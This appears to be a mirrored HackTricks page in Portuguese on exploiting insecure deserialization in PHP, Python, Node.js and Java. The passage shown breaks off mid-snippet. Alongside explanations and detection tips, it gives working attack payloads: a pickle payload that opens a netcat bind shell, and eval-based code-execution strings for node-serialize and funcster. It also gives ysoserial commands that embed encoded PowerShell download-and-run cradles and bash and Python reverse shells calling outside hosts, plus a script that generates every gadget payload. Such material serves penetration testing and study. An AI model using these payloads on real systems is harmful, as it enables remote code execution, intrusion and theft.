mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-18 09:03:30 +00:00
931 lines
58 KiB
Markdown
931 lines
58 KiB
Markdown
# Deserialization
|
|
|
|
{% hint style="success" %}
|
|
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
{% endhint %}
|
|
|
|
## Basic Information
|
|
|
|
**Serialização** é entendida como o método de converter um objeto em um formato que pode ser preservado, com a intenção de armazenar o objeto ou transmiti-lo como parte de um processo de comunicação. Essa técnica é comumente empregada para garantir que o objeto possa ser recriado em um momento posterior, mantendo sua estrutura e estado.
|
|
|
|
**Desserialização**, por outro lado, é o processo que contrabalança a serialização. Envolve pegar dados que foram estruturados em um formato específico e reconstruí-los de volta em um objeto.
|
|
|
|
A desserialização pode ser perigosa porque potencialmente **permite que atacantes manipulem os dados serializados para executar código prejudicial** ou causar comportamentos inesperados na aplicação durante o processo de reconstrução do objeto.
|
|
|
|
## PHP
|
|
|
|
Em PHP, métodos mágicos específicos são utilizados durante os processos de serialização e desserialização:
|
|
|
|
* `__sleep`: Invocado quando um objeto está sendo serializado. Este método deve retornar um array com os nomes de todas as propriedades do objeto que devem ser serializadas. É comumente usado para comprometer dados pendentes ou realizar tarefas de limpeza semelhantes.
|
|
* `__wakeup`: Chamado quando um objeto está sendo desserializado. É usado para restabelecer quaisquer conexões de banco de dados que possam ter sido perdidas durante a serialização e realizar outras tarefas de reinicialização.
|
|
* `__unserialize`: Este método é chamado em vez de `__wakeup` (se existir) quando um objeto está sendo desserializado. Ele oferece mais controle sobre o processo de desserialização em comparação com `__wakeup`.
|
|
* `__destruct`: Este método é chamado quando um objeto está prestes a ser destruído ou quando o script termina. É tipicamente usado para tarefas de limpeza, como fechar manipuladores de arquivos ou conexões de banco de dados.
|
|
* `__toString`: Este método permite que um objeto seja tratado como uma string. Pode ser usado para ler um arquivo ou outras tarefas com base nas chamadas de função dentro dele, fornecendo efetivamente uma representação textual do objeto.
|
|
```php
|
|
<?php
|
|
class test {
|
|
public $s = "This is a test";
|
|
public function displaystring(){
|
|
echo $this->s.'<br />';
|
|
}
|
|
public function __toString()
|
|
{
|
|
echo '__toString method called';
|
|
}
|
|
public function __construct(){
|
|
echo "__construct method called";
|
|
}
|
|
public function __destruct(){
|
|
echo "__destruct method called";
|
|
}
|
|
public function __wakeup(){
|
|
echo "__wakeup method called";
|
|
}
|
|
public function __sleep(){
|
|
echo "__sleep method called";
|
|
return array("s"); #The "s" makes references to the public attribute
|
|
}
|
|
}
|
|
|
|
$o = new test();
|
|
$o->displaystring();
|
|
$ser=serialize($o);
|
|
echo $ser;
|
|
$unser=unserialize($ser);
|
|
$unser->displaystring();
|
|
|
|
/*
|
|
php > $o = new test();
|
|
__construct method called
|
|
__destruct method called
|
|
php > $o->displaystring();
|
|
This is a test<br />
|
|
|
|
php > $ser=serialize($o);
|
|
__sleep method called
|
|
|
|
php > echo $ser;
|
|
O:4:"test":1:{s:1:"s";s:14:"This is a test";}
|
|
|
|
php > $unser=unserialize($ser);
|
|
__wakeup method called
|
|
__destruct method called
|
|
|
|
php > $unser->displaystring();
|
|
This is a test<br />
|
|
*/
|
|
?>
|
|
```
|
|
Se você olhar para os resultados, pode ver que as funções **`__wakeup`** e **`__destruct`** são chamadas quando o objeto é desserializado. Note que em vários tutoriais você encontrará que a função **`__toString`** é chamada ao tentar imprimir algum atributo, mas aparentemente isso **não está acontecendo mais**.
|
|
|
|
{% hint style="warning" %}
|
|
O método **`__unserialize(array $data)`** é chamado **em vez de `__wakeup()`** se estiver implementado na classe. Ele permite desserializar o objeto fornecendo os dados serializados como um array. Você pode usar este método para desserializar propriedades e realizar quaisquer tarefas necessárias após a desserialização.
|
|
```php
|
|
class MyClass {
|
|
private $property;
|
|
|
|
public function __unserialize(array $data): void {
|
|
$this->property = $data['property'];
|
|
// Perform any necessary tasks upon deserialization.
|
|
}
|
|
}
|
|
```
|
|
{% endhint %}
|
|
|
|
Você pode ler um **exemplo de PHP explicado aqui**: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/), aqui [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) ou aqui [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/)
|
|
|
|
### PHP Deserial + Autoload Classes
|
|
|
|
Você pode abusar da funcionalidade de autoload do PHP para carregar arquivos php arbitrários e mais:
|
|
|
|
{% content-ref url="php-deserialization-+-autoload-classes.md" %}
|
|
[php-deserialization-+-autoload-classes.md](php-deserialization-+-autoload-classes.md)
|
|
{% endcontent-ref %}
|
|
|
|
### Serializando Valores Referenciados
|
|
|
|
Se por algum motivo você quiser serializar um valor como uma **referência a outro valor serializado**, você pode:
|
|
```php
|
|
<?php
|
|
class AClass {
|
|
public $param1;
|
|
public $param2;
|
|
}
|
|
|
|
$o = new WeirdGreeting;
|
|
$o->param1 =& $o->param22;
|
|
$o->param = "PARAM";
|
|
$ser=serialize($o);
|
|
```
|
|
### PHPGGC (ysoserial para PHP)
|
|
|
|
[**PHPGGC**](https://github.com/ambionics/phpggc) pode ajudá-lo a gerar payloads para abusar de deserializações em PHP.\
|
|
Note que em vários casos você **não conseguirá encontrar uma maneira de abusar de uma deserialização no código-fonte** da aplicação, mas pode ser capaz de **abusar do código de extensões PHP externas.**\
|
|
Portanto, se puder, verifique o `phpinfo()` do servidor e **pesquise na internet** (e até mesmo nos **gadgets** do **PHPGGC**) alguns possíveis gadgets que você poderia abusar.
|
|
|
|
### deserialização de metadados phar://
|
|
|
|
Se você encontrou um LFI que está apenas lendo o arquivo e não executando o código php dentro dele, por exemplo, usando funções como _**file\_get\_contents(), fopen(), file() ou file\_exists(), md5\_file(), filemtime() ou filesize()**_**.** Você pode tentar abusar de uma **deserialização** que ocorre ao **ler** um **arquivo** usando o protocolo **phar**.\
|
|
Para mais informações, leia o seguinte post:
|
|
|
|
{% content-ref url="../file-inclusion/phar-deserialization.md" %}
|
|
[phar-deserialization.md](../file-inclusion/phar-deserialization.md)
|
|
{% endcontent-ref %}
|
|
|
|
## Python
|
|
|
|
### **Pickle**
|
|
|
|
Quando o objeto é deserializado, a função _\_\_reduce\_\__ será executada.\
|
|
Quando explorado, o servidor pode retornar um erro.
|
|
```python
|
|
import pickle, os, base64
|
|
class P(object):
|
|
def __reduce__(self):
|
|
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
|
|
print(base64.b64encode(pickle.dumps(P())))
|
|
```
|
|
Antes de verificar a técnica de bypass, tente usar `print(base64.b64encode(pickle.dumps(P(),2)))` para gerar um objeto que seja compatível com python2 se você estiver executando python3.
|
|
|
|
Para mais informações sobre escapar de **pickle jails**, consulte:
|
|
|
|
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
|
|
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
|
|
{% endcontent-ref %}
|
|
|
|
### Yaml **&** jsonpickle
|
|
|
|
A página a seguir apresenta a técnica para **abusar de uma desserialização insegura em bibliotecas python de yamls** e termina com uma ferramenta que pode ser usada para gerar payloads de desserialização RCE para **Pickle, PyYAML, jsonpickle e ruamel.yaml**:
|
|
|
|
{% content-ref url="python-yaml-deserialization.md" %}
|
|
[python-yaml-deserialization.md](python-yaml-deserialization.md)
|
|
{% endcontent-ref %}
|
|
|
|
### Class Pollution (Poluição de Protótipos em Python)
|
|
|
|
{% content-ref url="../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md" %}
|
|
[class-pollution-pythons-prototype-pollution.md](../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md)
|
|
{% endcontent-ref %}
|
|
|
|
## NodeJS
|
|
|
|
### Funções Mágicas JS
|
|
|
|
JS **não tem funções "mágicas"** como PHP ou Python que serão executadas apenas para criar um objeto. Mas possui algumas **funções** que são **frequentemente usadas mesmo sem serem chamadas diretamente**, como **`toString`**, **`valueOf`**, **`toJSON`**.\
|
|
Se abusar de uma desserialização, você pode **comprometer essas funções para executar outro código** (potencialmente abusando de poluições de protótipos) e poderia executar código arbitrário quando elas forem chamadas.
|
|
|
|
Outra **maneira "mágica" de chamar uma função** sem chamá-la diretamente é **comprometendo um objeto que é retornado por uma função assíncrona** (promise). Porque, se você **transformar** esse **objeto de retorno** em outra **promise** com uma **propriedade** chamada **"then" do tipo função**, ela será **executada** apenas porque é retornada por outra promise. _Siga_ [_**este link**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _para mais informações._
|
|
```javascript
|
|
// If you can compromise p (returned object) to be a promise
|
|
// it will be executed just because it's the return object of an async function:
|
|
async function test_resolve() {
|
|
const p = new Promise(resolve => {
|
|
console.log('hello')
|
|
resolve()
|
|
})
|
|
return p
|
|
}
|
|
|
|
async function test_then() {
|
|
const p = new Promise(then => {
|
|
console.log('hello')
|
|
return 1
|
|
})
|
|
return p
|
|
}
|
|
|
|
test_ressolve()
|
|
test_then()
|
|
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/
|
|
```
|
|
### `__proto__` e poluição de `prototype`
|
|
|
|
Se você quiser aprender sobre essa técnica **dê uma olhada no seguinte tutorial**:
|
|
|
|
{% content-ref url="nodejs-proto-prototype-pollution/" %}
|
|
[nodejs-proto-prototype-pollution](nodejs-proto-prototype-pollution/)
|
|
{% endcontent-ref %}
|
|
|
|
### [node-serialize](https://www.npmjs.com/package/node-serialize)
|
|
|
|
Esta biblioteca permite serializar funções. Exemplo:
|
|
```javascript
|
|
var y = {
|
|
"rce": function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })},
|
|
}
|
|
var serialize = require('node-serialize');
|
|
var payload_serialized = serialize.serialize(y);
|
|
console.log("Serialized: \n" + payload_serialized);
|
|
```
|
|
O **objeto serializado** parecerá com:
|
|
```bash
|
|
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
|
|
```
|
|
Você pode ver no exemplo que, quando uma função é serializada, a flag `_$$ND_FUNC$$_` é anexada ao objeto serializado.
|
|
|
|
Dentro do arquivo `node-serialize/lib/serialize.js`, você pode encontrar a mesma flag e como o código a utiliza.
|
|
|
|
![](<../../.gitbook/assets/image (351).png>)
|
|
|
|
![](<../../.gitbook/assets/image (446).png>)
|
|
|
|
Como você pode ver no último trecho de código, **se a flag for encontrada**, `eval` é usado para desserializar a função, então basicamente **a entrada do usuário está sendo usada dentro da função `eval`**.
|
|
|
|
No entanto, **apenas serializar** uma função **não a executará**, pois seria necessário que alguma parte do código **chamasse `y.rce`** em nosso exemplo, e isso é altamente **improvável**.\
|
|
De qualquer forma, você poderia apenas **modificar o objeto serializado** **adicionando alguns parênteses** para que a função serializada seja executada automaticamente quando o objeto for desserializado.\
|
|
No próximo trecho de código, **note o último parêntese** e como a função `unserialize` executará automaticamente o código:
|
|
```javascript
|
|
var serialize = require('node-serialize');
|
|
var test = {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"};
|
|
serialize.unserialize(test);
|
|
```
|
|
Como foi indicado anteriormente, esta biblioteca obterá o código após `_$$ND_FUNC$$_` e **o executará** usando `eval`. Portanto, para **auto-executar código**, você pode **deletar a parte de criação da função** e o último parêntese e **apenas executar um JS oneliner** como no seguinte exemplo:
|
|
```javascript
|
|
var serialize = require('node-serialize');
|
|
var test = '{"rce":"_$$ND_FUNC$$_require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) })"}';
|
|
serialize.unserialize(test);
|
|
```
|
|
Você pode [**encontrar aqui**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/) **mais informações** sobre como explorar essa vulnerabilidade.
|
|
|
|
### [funcster](https://www.npmjs.com/package/funcster)
|
|
|
|
Um aspecto notável do **funcster** é a inacessibilidade dos **objetos embutidos padrão**; eles estão fora do escopo acessível. Essa restrição impede a execução de código que tenta invocar métodos em objetos embutidos, levando a exceções como `"ReferenceError: console is not defined"` quando comandos como `console.log()` ou `require(something)` são usados.
|
|
|
|
Apesar dessa limitação, a restauração do acesso total ao contexto global, incluindo todos os objetos embutidos padrão, é possível através de uma abordagem específica. Ao aproveitar o contexto global diretamente, pode-se contornar essa restrição. Por exemplo, o acesso pode ser restabelecido usando o seguinte trecho:
|
|
```javascript
|
|
funcster = require("funcster");
|
|
//Serialization
|
|
var test = funcster.serialize(function() { return "Hello world!" })
|
|
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }
|
|
|
|
//Deserialization with auto-execution
|
|
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
|
|
funcster.deepDeserialize(desertest1)
|
|
var desertest2 = { __js_function: 'this.constructor.constructor("console.log(1111)")()' }
|
|
funcster.deepDeserialize(desertest2)
|
|
var desertest3 = { __js_function: 'this.constructor.constructor("require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });")()' }
|
|
funcster.deepDeserialize(desertest3)
|
|
```
|
|
**Para**[ **mais informações, leia esta fonte**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
|
|
|
|
### [**serialize-javascript**](https://www.npmjs.com/package/serialize-javascript)
|
|
|
|
O pacote **serialize-javascript** é projetado exclusivamente para fins de serialização, não possuindo nenhuma capacidade de desserialização embutida. Os usuários são responsáveis por implementar seu próprio método para desserialização. Um uso direto de `eval` é sugerido pelo exemplo oficial para desserializar dados serializados:
|
|
```javascript
|
|
function deserialize(serializedJavascript){
|
|
return eval('(' + serializedJavascript + ')');
|
|
}
|
|
```
|
|
Se esta função for usada para desserializar objetos, você pode **explorá-la facilmente**:
|
|
```javascript
|
|
var serialize = require('serialize-javascript');
|
|
//Serialization
|
|
var test = serialize(function() { return "Hello world!" });
|
|
console.log(test) //function() { return "Hello world!" }
|
|
|
|
//Deserialization
|
|
var test = "function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
|
|
deserialize(test)
|
|
```
|
|
**Para**[ **mais informações, leia esta fonte**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
|
|
|
|
### Biblioteca Cryo
|
|
|
|
Nas páginas seguintes, você pode encontrar informações sobre como abusar desta biblioteca para executar comandos arbitrários:
|
|
|
|
* [https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)
|
|
* [https://hackerone.com/reports/350418](https://hackerone.com/reports/350418)
|
|
|
|
## Java - HTTP
|
|
|
|
Em Java, **os callbacks de deserialização são executados durante o processo de deserialização**. Essa execução pode ser explorada por atacantes que criam payloads maliciosos que acionam esses callbacks, levando à potencial execução de ações prejudiciais.
|
|
|
|
### Impressões digitais
|
|
|
|
#### Caixa Branca
|
|
|
|
Para identificar potenciais vulnerabilidades de serialização na base de código, procure por:
|
|
|
|
* Classes que implementam a interface `Serializable`.
|
|
* Uso das funções `java.io.ObjectInputStream`, `readObject`, `readUnshare`.
|
|
|
|
Preste atenção especial a:
|
|
|
|
* `XMLDecoder` utilizado com parâmetros definidos por usuários externos.
|
|
* O método `fromXML` do `XStream`, especialmente se a versão do XStream for menor ou igual a 1.46, pois é suscetível a problemas de serialização.
|
|
* `ObjectInputStream` acoplado ao método `readObject`.
|
|
* Implementação de métodos como `readObject`, `readObjectNodData`, `readResolve` ou `readExternal`.
|
|
* `ObjectInputStream.readUnshared`.
|
|
* Uso geral de `Serializable`.
|
|
|
|
#### Caixa Preta
|
|
|
|
Para testes de caixa preta, procure por **assinaturas específicas ou "Bytes Mágicos"** que denotam objetos serializados em java (originários de `ObjectInputStream`):
|
|
|
|
* Padrão hexadecimal: `AC ED 00 05`.
|
|
* Padrão Base64: `rO0`.
|
|
* Cabeçalhos de resposta HTTP com `Content-type` definido como `application/x-java-serialized-object`.
|
|
* Padrão hexadecimal indicando compressão anterior: `1F 8B 08 00`.
|
|
* Padrão Base64 indicando compressão anterior: `H4sIA`.
|
|
* Arquivos da web com a extensão `.faces` e o parâmetro `faces.ViewState`. Descobrir esses padrões em uma aplicação web deve levar a uma investigação conforme detalhado no [post sobre Deserialização de ViewState do Java JSF](java-jsf-viewstate-.faces-deserialization.md).
|
|
```
|
|
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
|
|
```
|
|
### Verifique se é vulnerável
|
|
|
|
Se você quer **aprender como funciona um exploit de Deserialização em Java**, você deve dar uma olhada em [**Deserialização Básica em Java**](basic-java-deserialization-objectinputstream-readobject.md), [**Deserialização DNS em Java**](java-dns-deserialization-and-gadgetprobe.md), e [**Payload CommonsCollection1**](java-transformers-to-rutime-exec-payload.md).
|
|
|
|
#### Teste de Caixa Branca
|
|
|
|
Você pode verificar se há alguma aplicação instalada com vulnerabilidades conhecidas.
|
|
```bash
|
|
find . -iname "*commons*collection*"
|
|
grep -R InvokeTransformer .
|
|
```
|
|
Você pode tentar **verificar todas as bibliotecas** conhecidas por serem vulneráveis e que [**Ysoserial**](https://github.com/frohoff/ysoserial) pode fornecer um exploit. Ou você pode verificar as bibliotecas indicadas no [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json).\
|
|
Você também pode usar [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) para procurar possíveis cadeias de gadgets que podem ser exploradas.\
|
|
Ao executar **gadgetinspector** (depois de construí-lo), não se preocupe com os muitos avisos/erros que ele está passando e deixe-o terminar. Ele escreverá todas as descobertas em _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_. Por favor, note que **gadgetinspector não criará um exploit e pode indicar falsos positivos**.
|
|
|
|
#### Teste de Caixa Preta
|
|
|
|
Usando a extensão Burp [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md), você pode identificar **quais bibliotecas estão disponíveis** (e até mesmo as versões). Com essa informação, pode ser **mais fácil escolher um payload** para explorar a vulnerabilidade.\
|
|
[**Leia isso para saber mais sobre GadgetProbe**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\
|
|
GadgetProbe é focado em **deserializações de `ObjectInputStream`**.
|
|
|
|
Usando a extensão Burp [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner), você pode **identificar bibliotecas vulneráveis** exploráveis com ysoserial e **explorá-las**.\
|
|
[**Leia isso para saber mais sobre Java Deserialization Scanner.**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\
|
|
Java Deserialization Scanner é focado em **deserializações de `ObjectInputStream`**.
|
|
|
|
Você também pode usar [**Freddy**](https://github.com/nccgroup/freddy) para **detectar vulnerabilidades de deserializações** no **Burp**. Este plugin detectará **não apenas vulnerabilidades relacionadas a `ObjectInputStream`**, mas **também** vulnerabilidades de bibliotecas de deserialização de **Json** e **Yml**. No modo ativo, ele tentará confirmá-las usando payloads de sleep ou DNS.\
|
|
[**Você pode encontrar mais informações sobre Freddy aqui.**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/)
|
|
|
|
**Teste de Serialização**
|
|
|
|
Nem tudo se resume a verificar se alguma biblioteca vulnerável está sendo usada pelo servidor. Às vezes, você pode ser capaz de **alterar os dados dentro do objeto serializado e contornar algumas verificações** (talvez concedendo a você privilégios de administrador dentro de uma webapp).\
|
|
Se você encontrar um objeto Java serializado sendo enviado para uma aplicação web, **você pode usar** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **para imprimir em um formato mais legível por humanos o objeto de serialização que está sendo enviado**. Saber quais dados você está enviando tornaria mais fácil modificá-los e contornar algumas verificações.
|
|
|
|
### **Exploit**
|
|
|
|
#### **ysoserial**
|
|
|
|
A principal ferramenta para explorar deserializações Java é [**ysoserial**](https://github.com/frohoff/ysoserial) ([**baixe aqui**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). Você também pode considerar usar [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified), que permitirá que você use comandos complexos (com pipes, por exemplo).\
|
|
Note que esta ferramenta é **focada** em explorar **`ObjectInputStream`**.\
|
|
Eu **começaria usando o payload "URLDNS"** **antes de um payload RCE** para testar se a injeção é possível. De qualquer forma, note que talvez o payload "URLDNS" não esteja funcionando, mas outro payload RCE esteja.
|
|
```bash
|
|
# PoC to make the application perform a DNS req
|
|
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
|
|
|
|
# PoC RCE in Windows
|
|
# Ping
|
|
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
|
|
# Time, I noticed the response too longer when this was used
|
|
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
|
|
# Create File
|
|
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
|
|
# DNS request
|
|
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
|
|
# HTTP request (+DNS)
|
|
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
|
|
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
|
|
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
|
|
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
|
|
# Reverse Shell
|
|
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
|
|
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"
|
|
|
|
#PoC RCE in Linux
|
|
# Ping
|
|
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
|
|
# Time
|
|
## Using time in bash I didn't notice any difference in the timing of the response
|
|
# Create file
|
|
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
|
|
# DNS request
|
|
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
|
|
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
|
|
# HTTP request (+DNS)
|
|
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
|
|
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
|
|
# Reverse shell
|
|
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
|
|
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
|
|
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
|
|
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"
|
|
|
|
# Base64 encode payload in base64
|
|
base64 -w0 payload
|
|
```
|
|
Quando criar um payload para **java.lang.Runtime.exec()**, você **não pode usar caracteres especiais** como ">" ou "|" para redirecionar a saída de uma execução, "$()" para executar comandos ou até mesmo **passar argumentos** para um comando separados por **espaços** (você pode fazer `echo -n "hello world"` mas não pode fazer `python2 -c 'print "Hello world"'`). Para codificar corretamente o payload, você pode [usar esta página da web](http://www.jackson-t.ca/runtime-exec-payloads.html).
|
|
|
|
Sinta-se à vontade para usar o próximo script para criar **todos os possíveis payloads de execução de código** para Windows e Linux e, em seguida, testá-los na página da web vulnerável:
|
|
```python
|
|
import os
|
|
import base64
|
|
|
|
# You may need to update the payloads
|
|
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
|
|
def generate(name, cmd):
|
|
for payload in payloads:
|
|
final = cmd.replace('REPLACE', payload)
|
|
print 'Generating ' + payload + ' for ' + name + '...'
|
|
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
|
|
result = command.read()
|
|
command.close()
|
|
encoded = base64.b64encode(result)
|
|
if encoded != "":
|
|
open(name + '_intruder.txt', 'a').write(encoded + '\n')
|
|
|
|
generate('Windows', 'ping -n 1 win.REPLACE.server.local')
|
|
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
|
|
```
|
|
#### serialkillerbypassgadgets
|
|
|
|
Você pode **usar** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **junto com ysoserial para criar mais exploits**. Mais informações sobre esta ferramenta estão nas **apresentações da palestra** onde a ferramenta foi apresentada: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next\_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next\_slideshow=1)
|
|
|
|
#### marshalsec
|
|
|
|
[**marshalsec** ](https://github.com/mbechler/marshalsec) pode ser usado para gerar payloads para explorar diferentes **Json** e **Yml** bibliotecas de serialização em Java.\
|
|
Para compilar o projeto, eu precisei **adicionar** estas **dependências** ao `pom.xml`:
|
|
```markup
|
|
<dependency>
|
|
<groupId>javax.activation</groupId>
|
|
<artifactId>activation</artifactId>
|
|
<version>1.1.1</version>
|
|
</dependency>
|
|
|
|
<dependency>
|
|
